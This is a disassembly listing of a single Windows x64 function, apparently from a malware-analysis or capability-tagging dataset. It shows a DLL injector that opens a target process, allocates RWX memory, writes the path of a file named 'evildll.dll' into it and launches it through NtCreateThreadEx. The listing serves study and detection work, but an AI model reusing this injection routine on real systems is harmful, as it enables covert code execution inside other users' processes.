Function at 0x14001128a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x1400118c0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x6c0
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x108
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x6e8]
mov rax, qword [0x14001e008]
xor rax, rbp
mov qword [rbp + 0x658], rax
lea rcx, [0x1400230a3]
call fcn.14001138e
mov qword [rbp + 0xa8], 0
mov qword [rbp + 0x108], 0
lea rax, [rbp + 0x130]
lea rcx, str.C:UsersmalwareoperatorDesktopevildllx64Debugevildll.dll
mov rdi, rax
mov rsi, rcx
mov ecx, 0x7e
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1ae]
mov rdi, rax
xor eax, eax
mov ecx, 0x18a
rep stosb byte [rdi], al
mov qword [rbp + 0x358], 0
mov dword [rbp + 0x378], 0x30
mov qword [rbp + 0x380], 0
lea rax, [rbp + 0x388]
mov rdi, rax
xor eax, eax
mov ecx, 0x20
rep stosb byte [rdi], al
mov qword [rbp + 0x3c8], 0x208
lea rcx, str.Initializing_the_injector_n
call fcn.1400111a4
cmp dword [rbp + 0x680], 2
jge 0x1400119b1
lea rcx, str.Invalid_argument
call qword [sym.imp.ucrtbased.dll_puts]
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x688]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_atoi]
mov dword [rbp + 0x44], eax
mov r8d, dword [rbp + 0x44]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0xc8], rax
cmp qword [rbp + 0xc8], 0
jne 0x1400119fe
lea rcx, str.Error_attaching_PID__n
call fcn.1400111a4
jmp 0x140011a0a
lea rcx, str.Process_handle_opened._n
call fcn.1400111a4
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x88], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0xa8], rax
lea rdx, str.LoadLibraryW
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x108], rax
lea rdx, str.NtCreateThreadEx
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x3e8], rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, qword [rbp + 0x3c8]
xor edx, edx
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x140011aa8
mov edx, dword [rbp + 0x44]
lea rcx, str.VA_created_in_PID__d_._n
call fcn.1400111a4
jmp 0x140011ab4
lea rcx, str.Could_not_create_VA_space._n
call fcn.1400111a4
lea rax, [rbp + 0x358]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x3c8]
lea r8, [rbp + 0x130]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp qword [rbp + 0x358], 0
je 0x140011afc
mov rdx, qword [rbp + 0x358]
lea rcx, str._d_Bytes_written_in_memory_n
call fcn.1400111a4
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov rax, qword [rbp + 8]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x108]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0xc8]
lea r8, [rbp + 0x378]
mov edx, 0x1fffff
lea rcx, [rbp + 0xe8]
call qword [rbp + 0x3e8]
mov dword [rbp + 0x404], eax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x60]
lea rdx, [0x14001ad60]
call fcn.14001132a
mov eax, edi
mov rcx, qword [rbp + 0x658]
xor rcx, rbp
call fcn.1400111bd
lea rsp, [rbp + 0x660]
pop rdi
pop rsi
pop rbp
ret